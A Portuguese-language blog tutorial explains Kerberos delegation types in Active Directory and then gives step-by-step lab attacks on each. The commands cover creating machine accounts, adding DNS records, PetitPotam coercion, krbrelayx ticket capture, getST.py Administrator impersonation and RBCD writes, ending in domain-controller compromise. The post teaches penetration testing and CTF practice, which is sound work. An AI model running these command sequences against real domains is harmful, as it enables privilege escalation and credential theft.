Atacando Delegações Kerberos - Unconstrained, Constrained e RBCD
Nesse artigo abordaremos delegações kerberos, o que são, para que servem e como atacá-las.
Há uns tempos atrás resolvendo desafios de CTF na plataforma HackingClub, me deparei com algo que eu conhecia mas nunca havia explorado anteriormente: Kerberos Delegation. Confesso que todo o fluxo me deixou extremamente confuso, por isso, para aqueles que passaram ou estão passando o mesmo que eu passei, nesse post eu pretendo esclarecer a maioria das dúvidas recorrentes, além de mostrar como ataques podem ser realizados.
Antes de prosseguirmos, é extremamente importante que você conheça e compreenda o funcionamento do protocolo de autenticação Kerberos, se isso ainda não é muito familiar, sugiro a leitura desse post completo do HackTheBox.
O que é Kerberos Delegation?
Kerberos Delegation surge como uma forma de solucionar as limitações do token impersonation ou também como é conhecido: client impersonation.
Token impersonation é uma feature do Windows que permite que um processo (seja serviço ou aplicação) assuma temporariamente a identidade de outro usuário para acessar recursos locais no sistema, tais como, arquivos, pastas ou até outros serviços e processos, isso é possível pois o processo intermediário, que faz a impersonação, adquire um token de segurança que reflete a identidade e permissões do usuário original. Esse token é usado para acessar recursos locais com os mesmos direitos que o usuário teria.
Perceba a menção com destaque em "locais", pois é aqui que reside a principal limitação do client impersonation: ele não é válido para recursos remotos. O motivo para isso é que o token de impersonação adquirido pelo processo intermediário geralmente não inclui as credenciais de autenticação necessárias para serem transmitidas a outros sistemas. Em outras palavras, o processo que faz a impersonação não pode usar esse token para autenticar-se em outros servidores da rede, sendo efetivo apenas no contexto da máquina local.
Essa limitação é conhecida como o problema do double hop, onde o primeiro "hop" ocorre quando o cliente autentica-se no servidor intermediário, e o segundo "hop" falha porque o servidor intermediário não consegue autenticar-se em outro recurso ou serviço remoto em nome do cliente original.
É aqui que entra o Kerberos Delegation. O protocolo Kerberos permite a autenticação distribuída em ambientes de rede, e a delegação Kerberos possibilita que um serviço intermediário, se autorizado, atue em nome do cliente e acesse outros recursos na rede, superando a limitação imposta pelo client impersonation. Com a delegação, um serviço intermediário pode "delegar" seu direito de autenticar-se em nome de um usuário e agir em seu nome para acessar outros serviços ou servidores.
Dentro da delegação Kerberos, existem 3 tipos principais: Delegação Irrestrita (Unconstrained Delegation), Delegação Restrita (Constrained Delegation) e Delegação Restrita Baseada em Recursos (Resource-Based Constrained Delegation ou RBCD).
Tipos de Delegação
Delegação Irrestrita
O primeiro e mais básico tipo de delegação introduzido pelo Kerberos é a Unconstrained Delegation. Esta forma de delegação permite que um serviço/processo atue em nome de um usuário para acessar qualquer outro serviço dentro do domínio, sem restrições específicas. Isso significa que, uma vez que um serviço recebe o ticket de um usuário, ele pode usar esse ticket para autenticar-se em qualquer outro serviço de rede.
Como funciona
- O usuário obtém um TGT válido para a rede.
- Aqui ocorre um detalhe muito importante que difere de uma autenticação padrão kerberos. O KDC ao perceber que o WebService tem permissão de delegação irrestrita, ele inclui o TGT original do usuário como parte do ticket.
- WebService extrai o TGT do ST (Service Ticket) e realiza uma requisição TGS para o servidor SQL (lembrando que poderia ser qualquer serviço, não há essa limitação e controle em delegação irrestrita) em nome do usuário.
Casos de usos comuns
Historicamente, a Delegação Irrestrita foi usada em serviços de proxy, onde um servidor intermediário precisava de acesso ilimitado a múltiplos recursos de rede em nome de usuários. No entanto, devido aos riscos de segurança associados, esse tipo de delegação foi amplamente substituído por formas mais seguras, como a Delegação Restrita.
Delegação Restrita
Delegação Restrita (Constrained Delegation) surge como uma forma de fornecer mais segurança à antiga delegação (Delegação Irrestrita). Nessa modalidade, o servidor intermediário pode agir em nome do usuário, mas com restrições: ele só pode acessar serviços específicos que foram previamente definidos. Isso resolve o problema de exposição excessiva que a Delegação Irrestrita trazia, onde o servidor poderia acessar qualquer recurso dentro do domínio.
Antes de prosseguirmos, é importante mencionar: há dois tipos de delegações restritas, sendo elas kerberos only e transição de protocolos (protocol transition), em adição, aqui entra uma extensão do protocolo kerberos, chamada S4u ou Service for User.
Extensão S4u
Anteriormente na Delegação Irrestrita, pudemos ver e analisar todos os passos do fluxo de execução. Vimos que primeiro o usuário solicita o TGT, logo em seguida o ST para o serviço com permissão de delegação. Mas e se o usuário não estiver utilizando o protoco kerberos para se autenticar? Imagine um cenário em que a autenticação é feita via NTLM ou outro protocolo de autenticação que não seja Kerberos. Sem Kerberos, o serviço intermediário não teria como obter um ticket para agir em nome do usuário, certo?
É aqui que o S4U se torna crucial. Ele resolve esse problema ao permitir que o serviço intermediário ainda possa agir em nome do usuário, mesmo quando o usuário não está autenticado diretamente via Kerberos. A extensão S4U adiciona flexibilidade ao protocolo, permitindo que o servidor solicite tickets para o usuário, seja ele autenticado via NTLM ou outro protocolo e torna a Delegação Restrita possível. Para realiza-lo, a extensão utiliza dois tipos de requisições - S4U2Self e S4U2Proxy.
S4U2Self
A requisição S4U2Self é um dos primeiros passos no processo de delegação restrita quando o usuário não está autenticado via Kerberos, mas o serviço intermediário precisa de um ticket Kerberos para atuar em nome desse usuário. Quando o cliente se autentica usando um protocolo como NTLM, o serviço intermediário não pode usar Kerberos diretamente, pois o usuário não forneceu um TGT.
Aqui é onde o S4U2Self entra. Ele permite que o serviço, que já autenticou o usuário via NTLM ou outro protocolo, faça uma requisição TGS ao KDC em nome do usuário, mesmo sem o TGT original do cliente. O KDC valida se o serviço tem permissão para emitir esse ticket em nome do usuário e, se tudo estiver correto, emite o ticket para o próprio serviço, permitindo que ele aja em nome do cliente sem que o usuário tenha que interagir novamente.
S4U2Proxy
Depois de obter o ST com a requisição S4U2Self, o serviço intermediário pode precisar acessar outros serviços na rede em nome do usuário. O ticket que ele obteve com o S4U2Self não pode ser diretamente utilizado para acessar esses outros serviços. É aqui que o S4U2Proxy se torna essencial.
A requisição S4U2Proxy permite que o serviço intermediário solicite um ST adicional, mas desta vez, para um segundo serviço, em nome do usuário. Assim, o serviço intermediário agora age como um "proxy", usando o ticket do S4U2Self para obter novos tickets de serviço.
Mas há uma condição importante: o serviço intermediário só pode acessar os serviços para os quais ele tem permissão. Isso é controlado pelas configurações de Delegação Restrita (Constrained Delegation) definidas.
Delegação Restrita (Protocol Transition)
A imagem acima mostra como a configuração de Transição de Protocolos se parece. Podemos ver que configuramos a máquina delegation$
para ter permissão de delegação para MSSQLSvc/sql_svc.molonlabe.local
. Ao fazer isso, a flag TRUSTED_TO_AUTH_FOR_DELEGATION
também é definido no UAC. Além disso, o serviço na qual ele possui permissão de delegação é armazenado no atributo msDS-AllowedToDelegateTo
.
A Delegação Restrita com Transição de Protocolos (Protocol Transition) resolve o problema de cenários onde o usuário não está autenticado diretamente via Kerberos. Nesse caso, o serviço intermediário usa o S4U2Self para solicitar um ticket Kerberos em nome do usuário, permitindo que o serviço atue em nome do cliente mesmo que ele tenha se autenticado via outro protocolo (como NTLM).
- O User se autentica ao WebServer utilizando NTLM.
- WebServer envia S2U4Self para o KDC, obtendo um ticket válido para sí próprio (Um detalhe importante que iremos abusar depois, apenas o nome do usuário é incluído na requisição, sendo possível obter um ticket para qualquer usuário)
- Devido a flag do UAC
TRUSTED_TO_AUTH_FOR_DELEGATION
, o KDC irá emitir um ST com a flagForwardable
. É importante mencionar que, sem a flag do UAC, o KDC ainda iria emitir o TGS, porém sem a flagForwardable
. - WebServer realiza agora a S2U4Proxy, através do TGS obtido com S4U2Self para obter um ST válido para SQL.
- Quando o KDC recebe essa requisição, ele checa se o WebServer tem permissão de delegação para o SQL Server lendo o atributo
msDS-AllowedToDelegateTo
do WebServer - WebServer obtém o ST e agora pode se autenticar ao SQL Server (Outro detalhe importante aqui, o SPN do SQL Server permanece em texto claro no ST, tornando possível uma modificação para acessar outros serviços no servidor).
Esse tipo de delegação é essencial em ambientes híbridos onde múltiplos métodos de autenticação coexistem. Ela garante que mesmo os usuários autenticados via NTLM ou outro protocolo possam ser representados no sistema Kerberos por serviços intermediários, com as devidas restrições.
Delegação Restrita (Kerberos Only)
Aqui, assim como na Transição de Protocolos, o serviço de destino também será guardado no atributo msDS-AllowedToDelegateTo
, no entanto, a flag TRUSTED_TO_AUTH_FOR_DELEGATION
do UAC não será atribuida.
Na Delegação Restrita Kerberos Only, o cliente deve estar autenticado diretamente via Kerberos para que a delegação ocorra. Aqui, o serviço intermediário não precisa da transição de protocolos, pois o cliente já forneceu um TGT válido. O fluxo de delegação segue o processo normal: o cliente solicita seu TGT, e depois o ST (Service Ticket) através de uma requisição TGS para o serviço intermediário.
O serviço intermediário, por sua vez, usa o S4U2Proxy para solicitar tickets adicionais para acessar outros serviços, mas apenas dentro das permissões definidas. Esse modelo é mais simples do que a transição de protocolos, pois o processo já parte de uma autenticação Kerberos completa desde o início.
RBCD (Resource-Based Constrained Delegation) - Delegação Restrita Baseada em Recursos
A Delegação Restrita Baseada em Recursos (RBCD) foi introduzida como uma solução mais flexível e segura para cenários onde a delegação de autenticação é necessária. Ao contrário da Delegação Restrita Tradicional, onde o serviço intermediário define a quais recursos ele pode delegar, na RBCD o controle é transferido para o recurso de destino, permitindo que este defina quais serviços intermediários podem delegar em seu nome.
Diferente dos modelos anteriores, a RBCD descentraliza a configuração de delegação. Isso é feito ao modificar o atributo msDS-AllowedToActOnBehalfOfOtherIdentity
no objeto do serviço de destino, permitindo que ele controle os serviços intermediários que podem agir em nome de um usuário. Este atributo contém uma lista de contas de serviço que estão autorizadas a atuar em nome de outros usuários.
Abaixo, podemos notar que o fluxo é parecido com a Transição de Protocolos. No entanto, alguns detalhes importantes.
Fluxo da Delegação Restrita baseada em Recursos.
- O User se autentica ao WebServer utilizando NTLM.
- O WebServer utiliza S4U2Self para obter um ticket do KDC, no entanto, pela falta da flag UAC
TRUSTED_TO_AUTH_FOR_DELEGATION
o KDC devolve um ST sem a flagFowardable
. - WebServer realiza S4U2Proxy mesmo assim. O KDC observa que falta a flag
Forwardable
, então ele busca no atributomsDS-AllowedToActOnBehalfOfOtherIdentity
no serviço de destino, então ele emite um ST válido para o SQL Server.
Ataques em Delegações Kerberos
Depois de entendermos como Delegações Kerberos funcionam, agora vamos para a parte divertida?!
Apenas um disclaimer, por convenção e gosto, todos os ataques serão realizados a partir de um sistema linux que se encontra na mesma rede do AD. Todos os ataques podem ser replicados diretamente de um sistema windows com tools como Rubeus e KrbRelay, no entanto, eu não cobrirei sintaxes das respectivas ferramentas nesse post.
Para demonstrar os ataques e como replicá-los, caminharemos por diferentes cenários para cada delegação, para ser algo dinâmico e não repetitivo. Também, essa parte será direto ao ponto, tendo em vista que já foi apresentado todos os tipos de delegação detalhadamente.
Unconstrained Delegation (Delegação Irrestrita)
Requisitos
- Controle sobre uma conta com privilégios de delegação irrestrita.
- Permissões para modificar o SPN dessa conta. (opcional)
- Permissão para adicionar registros DNS. (opcional)
- Uma forma de conectar usuários/vitmas de volta para nós.
No cenário que iremos explorar, possuímos o controle sobre um objeto (User Account) com o privilégio de SeEnableDelegationPrivilege, que permite que um usuário habilite a delegação em contas de serviço ou de computador, tornando possíveis ataques de Unconstrained Delegation.
Toda conta de usuário no Active Directory tem direito de criar até 10 machine accounts por padrão, isso pode ser visualizado com a ferramenta netexec.
netexec ldap molonlabe.local -u Delegate -p 'password123!' -M maq
Agora que já vimos nossa permissão e quota para criação de máquinas, podemos começar o processo de exploração.
Passos:
- Criar uma machine account.
Primeiro, precisamos adicionar de fato uma machine account no AD. Para isso, utilizarei a ferramenta addcomputer.py
da toolkit impacket.
addcomputer.py molonlabe.local/delegate:'password123!' -computer-name malicious -computer-pass 'password123!'
- Atribuir unconstrained delegation para ela.
Para isso, utilizarei uma tool chamada bloodyAD.
python3 /opt/bloodyAD/bloodyAD.py -u 'Delegate' -d molonlabe.local -p 'password123!' --host 'DC.molonlabe.local' add uac 'malicious$' -f TRUSTED_FOR_DELEGATION
- Adicionar um SPN (service principal name) a máquina.
Depois de todo o processo da exploração e obtermos as chaves Kerberos, podemos descriptografar tickets, mas para que as vítimas se autentiquem corretamente, precisamos garantir que o SPN (Service Principal Name) esteja vinculado à conta comprometida. O SPN é fundamental para que o DC associe a solicitação de autenticação à conta correta. Se tivermos controle sobre uma conta com privilégios, podemos editar os atributos da conta comprometida e adicionar o SPN necessário usando a ferramenta addspn.py
do krbrelayx, facilitando o ataque.
Agora uma curiosidade, machine accounts podem se auto setar SPN's, contanto que deem match com seu hostname ou SamAccountName, o que não seria possível. No entanto, podemos através do atributo msDS-AdditionalDnsHostName
, que também possuímos controle.
Agora temos o SPN HOST/malicious.molonlabe.local
devidamente configurado.
- Fazer um registro de DNS para o SPN da máquina, apontando-o para nós (atacante).
Esse é o passo mais simples, apenas precisamos apontar esse SPN para o nosso IP, fazendo um novo registro DNS. Para fazer isso, também utilizaremos uma tool da suite krbrelayx, chamada dnstool.py
python3 /opt/krbrelayx/dnstool.py ldap://192.168.152.130 -u 'molonlabe.local\\Delegate' -p 'password123!' -dc-ip 192.168.152.130 -r malicious.molonlabe.local -d 192.168.152.146 -a add -dns-ip 192.168.152.130
- Forçar autenticação para obtenção do ticket.
Nesse passo precisamos obter tráfego vindo do AD. Há diversas alternativas, como por exemplo ataques de MITM, DNS Spoofing/Poisoning, utilizando Responder, etc...
No entanto, usaremos coerce authentication com a ferramenta PetitPotam.
Para esse ultimo passo, precisamos de uma espécie de "listener", para isso, utilizaremos a principal ferramenta da suite krbrelayx, que é a própria krbrelayx.py
. Para que isso funcione, precisamos fornecer o hash do password do SPN, para que a tool possa decryptar o ticket.
import hashlib
print(hashlib.new('md4', 'password123!'.encode('utf-16le')).hexdigest())
No primeiro terminal:
python3 /opt/krbrelayx/krbrelayx.py -hashes 8119935c5f7fa5f57135620c8073aaca:8119935c5f7fa5f57135620c8073aaca
No segundo:
python3 PetitPotam.py malicious.molonlabe.local 192.168.152.130 -u delegate -p 'password123!' -d molonlabe.local
Assim, obtemos um ticket válido do DC$
, levando em vista que o mesmo tem DCSync como privilégio, podemos dumpar as credenciais com secretsdump.py
.
Constrained Delegation - Protocol Transition (Delegação Restrita)
Requisitos
- Controle sobre uma conta com privilégios de delegação restrita.
Esse tipo de delegação é a mais simples de atacar já que a extensão S4U facilita todo o fluxo.
- O nome do usuário/cliente na request S4U2Self pode ser arbitrário, uma vez que o KDC essencialmente confia no nome providenciado.
- O valor do SPN no ST pode ser facilmente substituído, uma vez que é texto claro.
- Enumerar e achar a conta com constrained delegation
Uma forma simples de fazer isso, é usando a ferramenta findDelegation.py
da suite impacket.
findDelegation.py molonlabe.local/'malicious$':'password123!'
Vimos que a máquina malicious$
(que controlamos), possui delegação constrained com protocol transition para o SPN IISADMIN do DC. No entanto, como eu falei acima, assim como o KDC irá confiar no nome que for inserido no S4U2Self, ele também confiará no SPN que está em texto claro, então basicamente podemos mudar tudo do ticket.
- Solicitar um ST como Administrator.
Para isso, utilizaremos outra tool do impacket
chamada getST.py
, também utilizada para silver tickets.
getST.py molonlabe.local/'malicious$':'password123!' -impersonate Administrator -spn iisadmin/dc.molonlabe.local -altservice cifs,ldap,host -dc-ip 192.168.152.130
Agora com um ticket válido do Administrator, podemos simplesmente utilizar o psexec
para obtermos uma shell com system no Domain Controller
.
Constrained Delegation - Kerberos Only (Delegação Restrita)
Constrained Delegation com Kerberos Only possui um fluxo muito mais simples, no entanto, o ataque a esse tipo de delegação é o ataque mais complexo/confuso de todos os tipos, detalharei bem para que todos possam entender.
Requisitos
- Ter controle sobre uma conta com constrained delegation (kerberos only).
- Essa conta precisa ter um SPN ou ser uma machine account.
- Quota para criar pelo menos uma machine account (ou ter controle sobre uma).
- Entender os princípios de Resource Based Constrained Delegation.
A extensão S4U não funciona efetivamente nesse caso, uma vez que a primeira autenticação, NECESSITA de um ticket válido, ou seja, não da pra simplesmente forjar como fizemos anteriormente, então, mesmo que ele gerasse um ST, não teria uma flag Forwardable
.
Aí que entra a necessidade da compreensão de RBCD, pois precisamos explorar isso, para que podemos obter um ticket válido e forwardable.
Nesse cenário, possuímos o controle sobre uma conta com constrained delegation (COM SPN) para o cifs do DC.
- Precisamos criar uma machine account
addcomputer.py molonlabe.local/svc_web:P4ssw0rd -dc-host dc.molonlabe.local -computer-name 'owned$' -computer-pass 'password123!'
- Precisamos atribuir RBCD da machine account
owned$
para o SPN que temos controlesvc_web
rbcd.py molonlabe.local/svc_web:'P4ssw0rd' -delegate-from 'owned$' -delegate-to svc_web -action write
Isso nos permitirá gerar um ticket de Administrator forwardable para o SPN que controlamos.
- Gerando ticket do Administrator para o SPN do nosso controle (IISADMIN/svc_web.molonlabe.local)
getST.py molonlabe.local/'owned$':'password123!' -impersonate Administrator -spn iisadmin/svc_web.molonlabe.local:443
Perceba que agora possuímos a flag Forwardable
, e tendo como destino um SPN do nosso controle.
- Podemos então utilizar o S4U2Proxy com o ST válido e
Forwardable
para o destino que temos permissão de delegação, e novamente, como o SPN no ticket é em texto claro, podemos modificar e adicionar outros.
getST.py molonlabe.local/svc_web:'P4ssw0rd' -additional-ticket 'Administrator@iisadmin_svc_web.molonlabe.local:[email protected]' -impersonate Administrator -spn cifs/DC.molonlabe.local -altservice host,ldap,http
E assim, obtemos shell como system no domain controller.
Resource Based Constrained Delegation - RBCD
Requisitos
- Permissão para alterar o atributo
msDS-AllowedToActOnBehalfOfOtherIdentity
de um objeto. - Controlar um SPN ou permissão de criar uma machine account.
No cenário atual, temos controle sobre uma conta com permissões de escrita em uma machine account
O processo de exploração de RBCD é parecido com o processo que fizemos anteriormente no passo 1, 2 e 3.
- Adicionando uma machine account para setarmos RBCD para obtermos um ticket válido de Administrator
addcomputer.py molonlabe.local/it_user:'P4ssw0rd123!' -dc-host dc.molonlabe.local -computer-name 'rbcd$' -computer-pass 'password123!'
- Configurando RBCD na máquina
WRK-01$
vindo derbcd$
rbcd.py molonlabe.local/it_user:'P4ssw0rd123!' -delegate-from 'rbcd$' -delegate-to 'WRK-01$' -action write
- Obtendo um ticket de administrator para a workstation
WRK-01$
getST.py molonlabe.local/'rbcd$':'password123!' -impersonate Administrator -spn cifs/wrk-01.molonlabe.local
E assim, obtemos system na workstation WRK-01$
explorando com sucesso RBCD.
Conclusão
Há várias maneiras de realizar a Delegação Kerberos, que trazem funcionalidades e resolvem diversos problemas que anteriormente existiam, permitindo que serviços intermediários atuem em nome de um usuário para acessar recursos de rede. No entanto, com toda essa funcionalidade, cada tipo de delegação tem suas fraquezas, que podem ser facilmente exploradas em ambientes mal configurados.
A delegação irrestrita de modo geral é a mais crítica, permitindo que a delegação seja feita para a rede toda. Por mais que outras delegações venham com o objetivo de melhorar a segurança, se mal configuradas também se tornam um grande vetor ataque, principalmente quando o assunto é elevar os privilégios dentro de um ambiente AD.
Esse é um post de fato extensivo, no entanto eu espero que ao chegar aqui, você entenda melhor sobre delegações kerberos e como atacá-las. Agora você está pronto para colocar a mão na massa! De desafio para você eu deixo como sugestão uma máquina da plataforma HackingClub que aborda o tipo de delegação mais desafiador de explorar. A máquina Strength vai te desafiar a explorar o modo de delegação mais complexo, constrained delegation kerberos only!
Você pode acessá-la diretamente aqui.
Referências
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
http://msdn.microsoft.com/enus/library/cc233855.aspx
https://www.thehacker.recipes/ad/movement/kerberos/delegations/